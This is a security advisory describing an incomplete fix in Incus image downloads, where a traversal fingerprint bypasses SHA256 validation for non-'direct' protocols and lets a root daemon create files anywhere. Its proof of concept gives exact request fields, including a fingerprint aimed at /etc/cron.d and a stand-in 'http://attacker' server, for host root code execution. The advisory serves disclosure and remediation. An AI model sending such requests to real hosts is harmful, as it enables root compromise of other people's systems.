Summary The fix for CVE-2026-48769 (GHSA-f6m5-xw2g-xc4x, commit "46d6ef23", present in v7.2.0) added "validate.IsSHA256(fp)" but gated it to "protocol == "direct"" only. A project user with "EntitlementCanCreateImages" can "POST /1.0/images" with "source.protocol=simplestreams" (or "incus"/"lxd"/"oci"), "source.secret=<any>", and "source.fingerprint=../../../../etc/cron.d/x". Because the secret path skips the fingerprint reassignment, the raw attacker value reaches "os.Create" at "daemon_images.go:393" as the root daemon — an unconditional arbitrary file create/truncate; pairing with an attacker-run "source.server" fills it with attacker content → host RCE. ## Root Cause "imgPostRemoteInfo" ("images.go:532") maps the request body "Fingerprint"→"Alias", plus "Protocol", "Secret", "Server". "fp := args.Alias" ("daemon_images.go:93") is the attacker fingerprint. The block at "daemon_images.go:135-161" that would reassign "fp = info.Fingerprint" is gated by "if args.Secret == """ — so with a secret set it is skipped and "fp" stays the raw traversal string. The validation "if protocol == "direct" { validate.IsSHA256(fp) }" ("daemon_images.go:350") does not run for "simplestreams"/"incus"/"lxd"/"oci". "destName := filepath.Join(destDir, fp)" (":358") then, in the "{incus,lxd,oci,simplestreams}" branch, "dest, _ := os.Create(destName)" (":393") — executing BEFORE the "fp = info.Fingerprint" reassignment at ":416". "GetPrivateImageFile(fp, secret, request)" streams the attacker server's bytes into the created file. ## Impact Unconditional arbitrary-file create/truncate on any root-writable host path (integrity/DoS); with a malicious "source.server", arbitrary-content write → host root RCE (e.g. "/etc/cron.d/"). The failure-path "os.Remove(destName)" also gives an arbitrary-path unlink primitive. ## Proof of Concept As a project user with "EntitlementCanCreateImages": "POST /1.0/images" with body "source.type=image", "source.protocol=simplestreams", "source.server=http://attacker", "source.secret=x", "source.fingerprint=../../../../etc/cron.d/x". Incus creates/truncates "/var/lib/incus/images/../../../../etc/cron.d/x" and streams the attacker server's content into it. ## Attack Chain 1. Entry: "POST /1.0/images" (auth "EntitlementCanCreateImages", images.go:1159) → "imgPostRemoteInfo" (images.go:532) maps body into "imageDownloadArgs". 2. fp init: "fp := args.Alias" = attacker fingerprint (daemon_images.go:93). 3. Alias resolution skipped: the "fp = info.Fingerprint" reassignment (daemon_images.go:135-161) is gated by "if args.Secret == """; with a secret set it is skipped → "fp" stays the raw traversal string. 4. Check: "if protocol == "direct" { validate.IsSHA256(fp) }" (daemon_images.go:350) — does NOT run for simplestreams/incus/lxd/oci. Bypass proof: "git show 46d6ef23" adds exactly "if protocol == "direct" { ... IsSHA256 ... }"; no validation for other protocols. 5. Sink: "destName := filepath.Join(VarPath("images"), fp)" (:358) → "dest, _ := os.Create(destName)" (:393) executes before "fp = info.Fingerprint" (:416). Root daemon creates/truncates "/var/lib/incus/images/../../../../etc/cron.d/x". "GetPrivateImageFile(fp, secret, request)" (:452) streams attacker bytes. 6. Impact: arbitrary-file truncate on any root-writable path; malicious "source.server" → arbitrary-content write → host RCE. ## Bypass Evidence "git show 46d6ef23" confirms the fix gates "validate.IsSHA256(fp)" behind "protocol == "direct"" only. "grep -n" confirms "args.Secret == """ at :135 gating the reassignment at :160, and "os.Create(destName)" at :393 preceding the reassignment at :416. Incomplete-fix bypass — affected range is the CVE-2026-48769 fix version onward through HEAD. ## Affected Versions "<= 7.2.0" (fix commit 46d6ef23 IS contained in v7.2.0, so the bypass affects the released version; vulnerable code verified present on HEAD 60d85b3e). ## Suggested Fix Hoist "validate.IsSHA256(fp)" to run for ALL protocols before "filepath.Join"/"os.Create", and re-validate after any "fp = info.Fingerprint" reassignment. ## Credit Vulnerability independently discovered and responsibly disclosed by Zhixi "Jace" Sun (@manus-use).